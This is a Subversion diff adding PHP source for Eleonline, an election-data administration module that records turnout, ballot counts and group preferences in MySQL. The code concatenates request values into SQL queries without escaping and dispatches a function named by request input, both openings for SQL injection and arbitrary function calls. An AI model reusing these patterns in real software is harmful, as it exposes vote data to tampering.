+		on (t1.id_gruppo=t2.id_gruppo) where t1.id_sez='$id_sez' 
+		and t1.id_cons='$id_cons' and t1.orario='$ora' and t1.data='$giorno'";
+		if ($genere==0){
+			$query.=" and t2.num_gruppo=$i";
+		}
+		$result = mysql_query($query, $dbi);
+		list($id_cons2,$id_sez2,$id_parz,$orario,$data, $voti_u, $voti_d, $voti_t,$id_gruppo) = mysql_fetch_row($result);
+	   	$res2 = mysql_query("SELECT num_gruppo FROM ".$prefix."_ele_gruppo where id_gruppo=$id_gruppo ", $dbi);
+		if ($res2)
+			list($gruppo)= mysql_fetch_row($res2);
+		else
+			$gruppo=0;
+		if (!$gruppo>0) {
+			$gruppo=$i;
+			$res3 = mysql_query("SELECT id_gruppo FROM ".$prefix."_ele_gruppo where num_gruppo=$gruppo and id_cons=$id_cons", $dbi);
+			if ($res3)
+			list($id_gruppo)=mysql_fetch_row($res3);
+		}
+		if ($voti_u+$voti_d and $voti_u+$voti_d!=$voti_t){
+			echo "</tr><tr style=\"background-color: rgb(255, 0, 0); align=center\">";
+		}else{
+			echo "</tr><tr align=\"center\">";
+		}
+		if ($genere==0){ // e' un referendum
+			echo "<td align=\"center\">$gruppo</td>";
+		}
+                
+                list ($anno,$mese,$di)=explode('-',$giorno);
+		echo "<td align=\"center\">$ora</td><td align=\"center\">$di-$mese-$anno</td>";
+		if ($voti_u > $maschi) echo "<td align=\"center\" bgcolor=\"red\"><input";
+		else echo "<td align=\"center\"><input";
+		if ($y<$num) { echo " type=\"hidden\"";}
+		echo " name=\"voti_u$i\" value=\"$voti_u\" size=\"5\"></td>";
+		if ($voti_d > $femmine) echo "<td align=\"center\" bgcolor=\"red\"><input";
+		else echo "<td align=\"center\"><input";
+		if ($y<$num) { echo " type=\"hidden\"";}
+		echo "  name=\"voti_d$i\" value=\"$voti_d\" size=\"5\"></td>";
+		if ($voti_t > ($maschi+$femmine)) echo "<td align=\"center\" bgcolor=\"red\"><input name=\"voti_t$i\" value=\"$voti_t\" size=\"5\">";
+		else echo "<td align=\"center\"><input name=\"voti_t$i\" value=\"$voti_t\" size=\"5\">";
+		echo "<input type=\"hidden\" name=\"id_parz$i\" value=\"$id_parz\">"
+		."<input type=\"hidden\" name=\"data$i\" value=\"$giorno\">"
+		."<input type=\"hidden\" name=\"orario$i\" value=\"$ora\">"
+		."<input type=\"hidden\" name=\"gruppo$i\" value=\"$id_gruppo\">";
+		echo "</td>";
+	}
+	echo "<td style=\"text-align: right;\" rowspan=\"1\" colspan=\"6\"><input type=\"submit\" name=\"update\" value=\""._OK."\"></td></tr>";
+
+
+
+   echo "</table></form></td></tr>";
+   	$compl= mysql_query("select voti_complessivi from ".$prefix."_ele_voti_parziale where data='$giorno' and orario='$ora' and id_sez=$id_sez", $dbi);
+   	list ($complessivi)= mysql_fetch_row($compl);
+	if (!$complessivi) 
+	{
+		echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n";
+		if ($y==$num) {
+			echo "document.votanti$y.voti_u1.focus()\n";
+			echo "document.votanti$y.voti_u1.select()\n";
+		}else{
+			echo "document.votanti$y.voti_t1.focus()\n";
+			echo "document.votanti$y.voti_t1.select()\n";
+		}
+		echo "//-->\n"
+		."</script>\n";
+		break;
+	}
+	}
+CloseTable();
+}
+
+
+///////////////////////////
+// registra i votanti
+///////////////////////////
+
+function rec_add_votanti() {
+global $prefix, $dbi,$aid,$tipo_cons,$genere,$id_cons,$fileout;
+//ordine dei parametri: 0)op 1)voti_u 2) voti_d 3)voti_t 4)id_cons 5)id_sez 6)id_circ 7)id_sede
+// 8)id_parz 9)ops 10)data 11)orario 12)tipo 13)id_gruppo 14) update
+if ($fileout) while (!$fp = fopen($fileout,"a"));
+
+$username="$aid";
+$arg2 = func_get_args();
+$arg = split(",",$arg2[0]);//foreach($arg as $key=>$val) echo "$key:$val<br>";die();
+$arg = split(",",$arg2[0]);
+$id_cons_gen=intval($arg[1]);
+$id_sez=intval($arg[2]);
+$id_circ=intval($arg[3]);
+$id_sede=intval($arg[4]);
+for($i=5;$i< count($arg)-1;) {
+	$voti_u = intval($arg[$i++]);
+	$voti_d = intval($arg[$i++]);
+	$voti_t = intval($arg[$i++]);
+	if($voti_t==0) $voti_t=$voti_d+$voti_u;
+	$id_parz = intval($arg[$i++]);
+	$giorno = $arg[$i++];
+	$ora = $arg[$i++];
+	$id_gruppo = intval($arg[$i++]);
+    $data=date("Y/m/d");
+	$tempo=date("H:i:s");
+	$query="select * from ".$prefix."_ele_voti_parziale where data='$giorno' and orario='$ora' and id_sez='$id_sez'";
+	if ($genere==0){
+		$query.=" and id_gruppo=$id_gruppo";
+	}
+	$res=mysql_query("$query",$dbi);
+	$righe=mysql_num_rows($res);
+    if (!$righe){
+        mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$data','$tempo','','id_parz:$id_parz ora: $ora data:$giorno voti uomini:$voti_u donne:$voti_d totali:$voti_t id_gruppo:$id_gruppo','".$prefix."_ele_voti_parziale')", $dbi);
+	mysql_query("insert into ".$prefix."_ele_voti_parziale values ('$id_cons', '$id_sez','$id_parz','$ora','$giorno','$voti_u','$voti_d','$voti_t','$id_gruppo')", $dbi);
+	if ($fileout) fwrite($fp,"insert into ".$prefix."_ele_voti_parziale values ('$id_cons', '$id_sez','$id_parz','$ora','$giorno','$voti_u','$voti_d','$voti_t','$id_gruppo');\n");
+     } else {
+  	$res=mysql_query("select * from ".$prefix."_ele_voti_parziale where id_parz=$id_parz",$dbi);
+	$ar=mysql_fetch_array($res);
+	if ($ar['voti_uomini']!=$voti_u or $ar['voti_donne']!=$voti_d or $ar['voti_complessivi']!=$voti_t){   	
+	mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$data','$tempo','ora:$ar[3] data:$ar[4] voti uomini:$ar[5] donne:$ar[6] totali:$ar[7] gruppo:$ar[8]','id_parz:$id_parz ora: $ora data:$giorno voti uomini:$voti_u donne:$voti_d totali:$voti_t id_gruppo:$id_gruppo','".$prefix."_ele_voti_parziale')", $dbi);	
+	$result = mysql_query("update  ".$prefix."_ele_voti_parziale set voti_uomini='$voti_u', voti_donne='$voti_d', voti_complessivi='$voti_t' where id_parz='$id_parz'", $dbi);
+	if ($fileout) fwrite($fp,"update  ".$prefix."_ele_voti_parziale set voti_uomini='$voti_u', voti_donne='$voti_d', voti_complessivi='$voti_t' where id_parz='$id_parz';\n");
+	}
+     }
+  }   
+if ($fileout)fclose($fp);
+Header("Location: admin.php?op=voti&id_cons_gen=$id_cons_gen&id_circ=$id_circ&id_sede=$id_sede&id_sez=$id_sez&ops=1&do=spoglio");
+}
+
+
+
+function finale($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops){
+ global $aid, $prefix, $dbi,$id_cons_gen,$genere,$votog,$fascia,$limite;
+////////////////////////////////////////////
+// da qua va la sezione per i voti finali
+///////////////////////////////////////////
+$bgcolor1="#7777ff";
+$bgcolor2=$_SESSION['bgcolor2'];
+
+
+
+     	echo "<form name=\"spogliovoti\" action=\"admin.php\">"
+      	."<input type=\"hidden\" name=\"op\" value=\"rec_finale\">";
+   	echo "<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+     	."<input type=\"hidden\" name=\"id_sez\" value=\"$id_sez\">"
+    	."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+     	."<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">";
+
+	echo "<table border=\"0\" width=\"80%\" align=\"center\"><tr bgcolor=\"$bgcolor1\" align=\"center\">";
+/*	if($ops==3 and ($genere==3 or ($genere==5 and $fascia>$limite)) )
+		echo "<td width=\"32\"><b>"._VOTI_LISTA."</b></td>";
+	else */
+		echo "<td width=\"32\"><b>"._VALIDI."</b></td>";
+	echo "<td width=\"32\"><b>"._NULLI."</b></td>"
+    ."<td><b>"._BIANCHI."</b></td>"
+	."<td width=\"32\"><b>"._VOTINULLI."</b></td>"
+	."<td><b>"._CONTESTATI."</b></td>"
+    ."<td><b>"._TOTNON."</b></td>"
+	."<td><b>"._TOTALEVOTI."</b></td>"
+	."<td bgcolor=\"#ffffff\"></td> </tr>";
+/*if($ops==3 and ($genere==3 or ($genere==5 and $fascia>$limite)) )
+    $result = mysql_query("select id_cons,id_sez,validi_lista,nulli,bianchi,contestati_lista,voti_nulli_lista,solo_gruppo,contestati,voti_nulli from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+else */
+    $result = mysql_query("select id_cons,id_sez,validi,nulli,bianchi,contestati,voti_nulli,'0','0','0' from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+    list($id_cons2,$id_sez2,$validi, $nulli, $bianchi, $contestati,$votinulli,$sg,$conts,$nullis) = mysql_fetch_row($result);
+    $tot_nulli=$nulli+$bianchi+$contestati+$votinulli;
+    $tot_voti=$validi+$tot_nulli+$sg+$conts+$nullis;
+
+	echo "<tr bgcolor=\"$bgcolor2\" align=\"center\"><td align=\"left\"><input  name=\"validi\" value=\"$validi\" size=\"5\">";
+/*	if(($genere==3 or $genere==5) and !$votog and $ops==3){
+	echo "</td><td>$nulli"
+	."</td><td>$bianchi";
+	echo "<input type=\"hidden\" name=\"nulli\" value=\"$nulli\"><input type=\"hidden\" name=\"bianchi\" value=\"$bianchi\">";
+	}else{ */
+	echo "</td><td><input  name=\"nulli\" value=\"$nulli\" size=\"5\">"
+	."</td><td><input  name=\"bianchi\" value=\"$bianchi\" size=\"5\">";
+//	}
+	echo "</td><td><input  name=\"votinulli\" value=\"$votinulli\" size=\"5\">"
+	."</td><td><input  name=\"contestati\" value=\"$contestati\" size=\"5\">"
+	."</td><td>$tot_nulli"
+	."</td><td>$tot_voti</td><td>"
+//    	."<input type=\"hidden\" name=\"id_cand\" value=\"$id_cand\">"
+    	."<input type=\"hidden\" name=\"ops\" value=\"$ops\">"
+       	."<input type=\"submit\" name=\"update\" value=\""._OK."\">"
+      	."</td></tr></table></form>"; //</td></tr>";
+
+
+//    echo "</table>";
+	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n";
+	if (!$validi) {
+		echo "document.spogliovoti.validi.focus()\n";
+		echo "document.spogliovoti.validi.select()\n";
+	}
+	echo "//-->\n"
+	."</script>\n";
+
+
+    }
+
+
+
+
+
+
+///////////////////////////
+// registra voti finali
+///////////////////////////
+
+function rec_finale() {
+global $prefix, $dbi,$aid,$id_cons,$fileout,$genere,$votog;
+
+if ($fileout) while (!$fp = fopen($fileout,"a"));
+$arg2 = func_get_args();
+$arg = split(",",$arg2[0]);
+$id_cons_gen=intval($arg[1]);
+$id_sez = intval($arg[2]);
+$id_circ = intval($arg[3]);
+$id_sede = intval($arg[4]);
+$validi = intval($arg[5]);
+$nulli = intval($arg[6]);
+$bianchi = intval($arg[7]);
+$votinulli = intval($arg[8]);
+$contestati = intval($arg[9]);
+$ops = $arg[10];
+$username="$aid";
+$log_data= date("Y/m/d");
+$log_ora=getdate(time());	
+$orario=($log_ora['hours'].":".$log_ora['minutes'].":".$log_ora['seconds']);
+
+$result= mysql_query("select voti_complessivi from ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id_sez' order by id_parz desc", $dbi);
+list($voti_t) = mysql_fetch_row($result);
+   $tot_voti=$validi+$nulli+$bianchi+$contestati+$votinulli;
+	$result= mysql_query("select * from ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+	$ar=mysql_fetch_array($result);
+#die("qui: if($ops==3 and ($genere==3 or $genere==4 or $genere==5) and $votog){");
+	if($ops==3 and ($genere==3 or $genere==4 or $genere==5) and ($votog or $genere==4)){
+	mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','$orario','validi_lista:$ar[14] nulli:$ar[7] bianchi:$ar[8] contestati_lista:$ar[15]  voti_nulli_lista:$ar[16]','validi_lista=$validi, nulli=$nulli,bianchi=$bianchi,contestati_lista=$contestati,voti_nulli_lista=$votinulli','_ele_sezioni')", $dbi);	
+
+/*		$result = mysql_query("update  ".$prefix."_ele_sezioni set validi='$validi', contestati='$contestati', validi_lista='$validi', nulli='$nulli',bianchi='$bianchi',contestati_lista='$contestati', voti_nulli_lista='$votinulli' where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+		if ($fileout) fwrite($fp,"update  ".$prefix."_ele_sezioni set validi='$validi', contestati='$contestati', validi_lista='$validi', nulli='$nulli',bianchi='$bianchi',contestati_lista='$contestati', voti_nulli_lista='$votinulli' where id_cons='$id_cons' and id_sez='$id_sez';\n"); */
+		$result = mysql_query("update  ".$prefix."_ele_sezioni set validi='$validi', contestati='$contestati', validi_lista='$validi', nulli='$nulli',bianchi='$bianchi',contestati_lista='$contestati', voti_nulli='$votinulli' where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+		if ($fileout) fwrite($fp,"update  ".$prefix."_ele_sezioni set validi='$validi', contestati='$contestati', validi_lista='$validi', nulli='$nulli',bianchi='$bianchi',contestati_lista='$contestati', voti_nulli='$votinulli' where id_cons='$id_cons' and id_sez='$id_sez';\n");
+	}else{
+ 	mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','$orario','validi:$ar[6] nulli:$ar[7] bianchi:$ar[8] contestati:$ar[9] voti_nulli:$ar[13]','validi=$validi, nulli=$nulli,bianchi=$bianchi,contestati=$contestati, voti_nulli=$votinulli','_ele_sezioni')", $dbi);	
+	$valista="";
+	if ($ar['validi_lista']){
+	  $tvalista=$validi+$contestati+$votinulli-$ar['solo_gruppo']-$ar['voti_nulli_lista']-$ar['contestati_lista'];
+	  $valista=",validi_lista='$tvalista'";
+	}
+
+		$result = mysql_query("update  ".$prefix."_ele_sezioni set validi='$validi', nulli='$nulli',bianchi='$bianchi',contestati='$contestati',voti_nulli='$votinulli' $valista where id_cons='$id_cons' and id_sez='$id_sez' ", $dbi);
+		if ($fileout) fwrite($fp,"update  ".$prefix."_ele_sezioni set validi='$validi', nulli='$nulli',bianchi='$bianchi',contestati='$contestati',voti_nulli='$votinulli' $valista where id_cons='$id_cons' and id_sez='$id_sez';\n");
+	}
+//	}
+// Il test non e' piu' necessario perche' le sezioni sono state gia' inserite in precedenza
+ 	if ($fileout) fclose($fp);
+         Header("Location: admin.php?op=voti&id_cons_gen=$id_cons_gen&id_circ=$id_circ&id_sede=$id_sede&id_sez=$id_sez&do=spoglio&ops=$ops");
+
+/*}else{
+
+echo "<b><br><center><h1>I voti totali  non corrispondono con i votanti</h1><b>";
+echo "<hr><a href=\"admin.php?op=voti&amp;id_cons=$id_cons&amp;id_circ=$id_circ&amp;id_sede=$id_sede&amp;id_sez=$id_sez&amp;do=spoglio&amp;ops=$ops\">Torna e correggi i dati immessi</a></center>";
+}*/
+}
+
+
+function preferenze_gruppi($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops){
+ global $aid, $prefix, $dbi, $tipo_cons, $genere,$id_cons_gen,$sezi,$circo;
+////////////////////////////////////////////
+// da qua va la sezione per le preferenze ai gruppi
+///////////////////////////////////////////
+// Controllo immmissioni
+$bgcolor1="#7777ff";
+$bgcolor2=$_SESSION['bgcolor2'];
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons'  ", $dbi);
+    $max = mysql_num_rows($res);
+    $max = $max-1;
+	 echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n";
+	if ($genere==0) {
+		echo "document.sezioni.si1.focus()\n";
+		echo "document.sezioni.si1.select()\n";
+	} else {
+		echo "document.sezioni.voti1.focus()\n"
+		."document.sezioni.voti1.select()\n";
+	}
+	echo "//-->\n"
+	."</script>\n";
+// tabella votanti
+    if ($genere!=0){
+	$result = mysql_query("SELECT voti_uomini,voti_donne, voti_complessivi FROM ".$prefix."_ele_voti_parziale where id_sez='$id_sez' and id_cons='$id_cons' and (voti_uomini > 0 or voti_donne > 0)", $dbi);
+    	list( $voti_u, $voti_d, $voti_t) = mysql_fetch_row($result);
+   	echo "<table border=\"0\" width=\"50%\" align=\"center\">"
+	."<tr><td></td><td align=\"center\"></td><td bgcolor=\"$bgcolor1\" align=\"center\">"._VOTIU."</td><td bgcolor=\"$bgcolor1\" align=\"center\">"._VOTID."</td><td bgcolor=\"$bgcolor1\" align=\"center\">"._VOTIT."</td></tr>"
+	."<tr><td></td><td bgcolor=\"$bgcolor1\" align=\"center\">"._TOT_ULT."</td><td bgcolor=\"$bgcolor2\" align=\"center\">$voti_u</td><td align=\"center\" bgcolor=\"$bgcolor2\">$voti_d</td><td bgcolor=\"$bgcolor2\" align=\"center\">$voti_t</td></tr>";
+   	echo "</table>";
+    }
+	echo "<table border=\"0\" width=\"50%\"  align=\"center\"><tr>";
+    if ($genere==0){
+    	$res = mysql_query("SELECT id_gruppo,si+no,validi,nulli,bianchi,contestati FROM ".$prefix."_ele_voti_ref where id_cons='$id_cons' and id_sez='$id_sez'  ", $dbi);
+		while (list($id_gruppo,$voti_parz,$validi,$nulli,$bianchi,$contestati) = mysql_fetch_row($res)){
+			if ($voti_parz!=$validi){
+				$res2 = mysql_query("SELECT num_gruppo FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' and id_gruppo='$id_gruppo'  ", $dbi);
+				list($num_gruppo) = mysql_fetch_row($res2);
+				echo "<td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTI_REF." $num_gruppo: ".$voti_parz." "._NO_VAL_VOTI.": ".$validi."</b><br></td>";
+			}
+			$res2 = mysql_query("SELECT max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo' ", $dbi);
+			list($tot) = mysql_fetch_row($res2);
+			if (($validi+$nulli+$bianchi+$contestati)!= $tot ){
+				$res2 = mysql_query("SELECT num_gruppo FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' and id_gruppo='$id_gruppo'", $dbi);
+				list($num_gruppo) = mysql_fetch_row($res2);
+				echo "<td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTANTI_REF." $num_gruppo: ".$tot." "._NO_SOMMA." ".($validi+$nulli+$bianchi+$contestati)."</b><br></td>";
+			}
+		}
+    }else{
+    	$res = mysql_query("SELECT sum(voti) FROM ".$prefix."_ele_voti_gruppo where id_cons='$id_cons' and id_sez='$id_sez'", $dbi);
+       	list($voti_parz) = mysql_fetch_row($res);
+        $res = mysql_query("SELECT validi,nulli,bianchi,contestati,solo_gruppo,voti_nulli FROM ".$prefix."_ele_sezioni where id_cons='$id_cons' and id_sez='$id_sez'", $dbi);
+    	list($validi,$nulli,$bianchi,$contestati,$solo_gruppo,$votinulli) = mysql_fetch_row($res);
+		if ($voti_parz!=$validi and $voti_parz>0){
+			echo "<td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTI." ".$voti_parz." "._NO_VAL_VOTI." ".$validi."</b><br></td>";
+    	}
+		$res2 = mysql_query("SELECT max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id_sez'", $dbi);
+		list($tot) = mysql_fetch_row($res2);
+		if ($validi+$nulli+$bianchi+$contestati+$votinulli!=$tot and $validi+$nulli+$bianchi+$contestati+$votinulli>0){
+			echo "<td style=\"background-color: rgb(255, 0, 0); align=center\"><img src=\"modules/Elezioni/images/alert.gif\" align=\"middle\" alt=\"\"><br><b> "._ATT_VOTANTI." ".$tot." "._NO_TOT_VOTI." ".($validi+$nulli+$bianchi+$contestati+$votinulli)."</b><br></td>";
+    	}
+    }
+	echo "<td></td></tr></table>";
+	if ($validi+$nulli+$bianchi+$contestati+$votinulli>0 or $genere==0) {
+    echo "<form name=\"sezioni\" action=\"admin.php\">";
+   	echo "<input type=\"hidden\" name=\"op\" value=\"rec_voti_gruppi\">"
+    ."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+    ."<input type=\"hidden\" name=\"id_sez\" value=\"$id_sez\">"
+    ."<input type=\"hidden\" name=\"id_circ\" value=\"$id_circ\">"
+     ."<input type=\"hidden\" name=\"id_sede\" value=\"$id_sede\">";
+	echo "<br><br> <table border=\"0\" width=\"60%\" align=\"center\"><tr align=\"center\" bgcolor=\"$bgcolor1\">"
+	."<td width=\"3%\"><b>"._NUM."</b></td>"
+    ."<td width=\"50%\"><b>"._GRUPPO."</b></td>";
+	if ($genere==0){
+		echo "<td><b>"._SI."</b></td>"
+		."<td><b>"._NO."</b></td>"
+		."<td><b>"._VALIDI."</b></td>"
+		."<td><b>"._BIANCHI."</b></td>"
+		."<td><b>"._CONTESTATI."</b></td>"
+		."<td><b>"._NULLI."</b></td>"
+		."<td><b>"._TOTNON."</b></td>";
+	}else{
+		echo "<td width=\"5%\"><b>"._VOTI."</b></td>";
+	}
+    echo "</tr>";
+    $res = mysql_query("SELECT * FROM ".$prefix."_ele_gruppo where id_cons='$id_cons' $circo ", $dbi);
+    $max = mysql_num_rows($res);
+    //echo "Massimo:$max - id=$id_cons - circo: $circo";
+    $result = mysql_query("select * from ".$prefix."_ele_gruppo where id_cons='$id_cons' $circo ORDER BY num_gruppo  ", $dbi);
+    $i=1;
+	$tot_pref=0;
+       
+    while(list($id_cons2,$id_gruppo,$num_gruppo, $descr_gruppo, $simbolo) = mysql_fetch_row($result)){
+  
+      //echo "test: $id_cons2,$id_gruppo,$num_gruppo, $descr_gruppo, $simbolo";
+      
+
+     if ($num_gruppo != ''){
+	if ($genere==0){
+		$res = mysql_query("SELECT max(voti_complessivi) FROM ".$prefix."_ele_voti_parziale where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo' ", $dbi);
+		list($tot) = mysql_fetch_row($res);
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_voti_ref where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo' ", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+	
+		if ($pro['si']+$pro['no']!=$pro['validi'] or ($pro['validi']+$pro['nulli']+$pro['bianchi']+$pro['contestati']!=$tot and $pro['validi']+$pro['nulli']+$pro['bianchi']+$pro['contestati']!=0)){
+			echo "<tr style=\"background-color: rgb(255, 0, 0); align=center\">";
+		}else{
+			echo "<tr style=\"background-color: $bgcolor2; align=center\">";
+		}
+		$descr = explode('.',$descr_gruppo, 100);
+		echo "<td align=\"center\"><input type=\"hidden\" name=\"id_gruppo$i\" value=\"$id_gruppo\"><b>$num_gruppo</b>"
+		."</td><td align=\"left\" width=\"50%\"><b> $descr[0] </b>";
+		$pro['si']=$pro['si']>0 ? $pro['si']:0;
+		$pro['no']=$pro['no']>0 ? $pro['no']:0;
+		$pro['validi']=$pro['validi']>0 ? $pro['validi']:0;
+		$pro['bianchi']=$pro['bianchi']>0 ? $pro['bianchi']:0;
+		$pro['contestati']=$pro['contestati']>0 ? $pro['contestati']:0;
+		$pro['nulli']=$pro['nulli']>0 ? $pro['nulli']:0;
+		$tot_nulli=$pro['nulli']+$pro['bianchi']+$pro['contestati'];
+		echo "</td><td align=\"right\" width=\"3%\"><input  name=\"si$i\" value=\"".$pro['si']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\" width=\"3%\"><input  name=\"no$i\" value=\"".$pro['no']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\" width=\"3%\"><input  name=\"val$i\" value=\"".$pro['validi']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\"><input  name=\"bia$i\" value=\"".$pro['bianchi']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\"><input  name=\"con$i\" value=\"".$pro['contestati']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\"><input  name=\"nul$i\" value=\"".$pro['nulli']."\" size=\"7\" ></td>";
+		echo "</td><td align=\"right\">$tot_nulli</td>";
+	}else{
+		echo "<tr style=\"background-color: $bgcolor2; align=center\"><td align=\"center\"><input type=\"hidden\" name=\"id_gruppo$i\" value=\"$id_gruppo\"><b>$num_gruppo</b>"
+		."</td><td align=\"left\"><b> $descr_gruppo </b>";
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_voti_gruppo where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo' ", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+		echo "</td><td align=\"right\"><input  name=\"voti$i\" value=\"".$pro['voti']."\" size=\"7\" ></td>";
+		$tot_pref += $pro['voti'];
+	}
+	
+	$i++;
+    }
+
+   }
+	if ($genere!=0) {
+		echo "<tr style=\"background-color: $bgcolor1; align=center\"><td></td><td>"._TOTPREF."</td><td>$tot_pref</td></tr>";
+	}
+
+   echo "<tr><td></td><td></td><td align=\"center\"><input type=\"submit\" name=\"update\" value=\" "._OK. "\"></td>";
+
+    echo "</tr></table></form><br><br> ";
+	}
+    if ($genere!=0){
+    	finale($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops);
+    }
+}
+
+
+
+
+
+
+///////////////////////////
+// registra le preferenze ai gruppi
+///////////////////////////
+
+function rec_voti_gruppi() {
+global $prefix, $dbi,$aid, $tipo_cons, $genere,$id_cons,$ops,$fileout;
+if ($fileout) while (!$fp = fopen($fileout,"a"));
+$username="$aid";
+$log_data= date("Y/m/d");
+$log_ora=getdate(time());
+$arg2 = func_get_args();
+$arg = split(",",$arg2[0]);
+$id_cons_gen=intval($arg[1]);
+$id_sez = intval($arg[2]);
+$id_circ = intval($arg[3]);
+$id_sede = intval($arg[4]);
+$y=count($arg)-1;
+if ($genere==0) {
+	$tab="_ele_voti_ref";
+} else {
+	$tab="_ele_voti_gruppo";
+	$y--;
+}
+
+for($i=5;$i< $y;) {
+	$id_gruppo = intval($arg[$i++]);
+	switch ($genere){    
+		case (0):         
+			$si=intval($arg[$i++]);
+			$no=intval($arg[$i++]);
+			$val=intval($arg[$i++]);
+			if ($val==0){$val=$si+$no;}
+			$bia=intval($arg[$i++]);
+			$con=intval($arg[$i++]);
+			$nul=intval($arg[$i++]);
+			$voti = "$si,$no,$val,$nul,$bia,$con";
+			$riga="si=$si,no=$no,validi=$val,nulli=$nul,bianchi=$bia,contestati=$con";
+			break;
+		default:
+			$voti = intval($arg[$i++]);
+			if (!$voti) {$voti="0";}
+			$riga="voti=$voti";
+			break;
+	}
+	$result = mysql_query("select * from ".$prefix."$tab where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo'", $dbi);
+	$ar=mysql_fetch_array($result);
+	$res = mysql_query("select num_gruppo from ".$prefix."_ele_gruppo where id_cons='$id_cons' and id_gruppo='$id_gruppo'", $dbi);
+	list($num_gruppo)=mysql_fetch_array($res);
+	$oldval='';
+	if ($ar){
+		switch ($genere){  
+			case (0): 
+				if ($ar['si']!=$si or $ar['no']!=$no or $ar['validi']!=$val or $ar['nulli']!=$nul
+				or $ar['bianchi']!=$bia or $ar['contestati']!=$con){
+					$oldval=" si:$ar[3] no:$ar[4] validi:$ar[5] nulli:$ar[6] bianchi:$ar[7] contestati:$ar[8]";
+				}
+				break;
+			default:
+				if ($ar['voti']!=$voti) {
+					$oldval="voti:".$ar['voti'];
+					$voti.=",null";
+				}
+				if (isset($ar['num_gruppo'])) $dstgruppo=$ar['num_gruppo'];
+				break;
+		}
+		if ($oldval) {
+			mysql_query("update  ".$prefix."$tab set $riga where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo'", $dbi);
+			if ($fileout) fwrite($fp,"update  ".$prefix."$tab set $riga where id_cons='$id_cons' and id_sez='$id_sez' and id_gruppo='$id_gruppo';\n");
+			mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','".$log_ora['hours'].":".$log_ora['minutes'].":".$log_ora['seconds']."','$oldval','num_gruppo:$num_gruppo $riga','$tab')", $dbi);
+		}
+	} else {
+		mysql_query("insert into ".$prefix."_ele_log values('$id_cons','$id_sez','$username','$log_data','".$log_ora['hours'].":".$log_ora['minutes'].":".$log_ora['seconds']."','','num_gruppo:$num_gruppo $riga','$tab')", $dbi);
+		mysql_query("insert into ".$prefix."$tab values ('$id_cons', '$id_gruppo','$id_sez',$voti)", $dbi);
+		if ($fileout) fwrite($fp,"insert into ".$prefix."$tab values ('$id_cons', '$id_gruppo','$id_sez',$voti);\n");
+	//
+	}
+
+}
+//$ops = $arg[$argc];
+if ($fileout) fclose($fp);
+Header("Location: admin.php?op=voti&id_cons_gen=$id_cons_gen&id_circ=$id_circ&id_sede=$id_sede&id_sez=$id_sez&do=spoglio&ops=4");
+
+}
+
+
+ 	if (!preg_match("/rec/",$op)) {
+		ele(); //menu
+		numeri_sezione();
+	}
+
+ switch ($op){
+	case "voti": //fa eccezione perche' chiamata con minor numero di parametri - riesaminare 
+    	voti($id_cons,$do,$id_circ,$id_sede,$id_sez,$ops,$ov,$mv,$gv,$msv,$av,$id_lista);
+    	break;
+	default :
+    	$op($vari); //chiamata a funzione variabile con parametri variabili (da cambiare!)
+  }
+echo"</td></tr></table>";
+   include ("footer.php");
+?>
+
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_widget.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_widget.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_widget.php	(revision 44)
@@ -0,0 +1,202 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
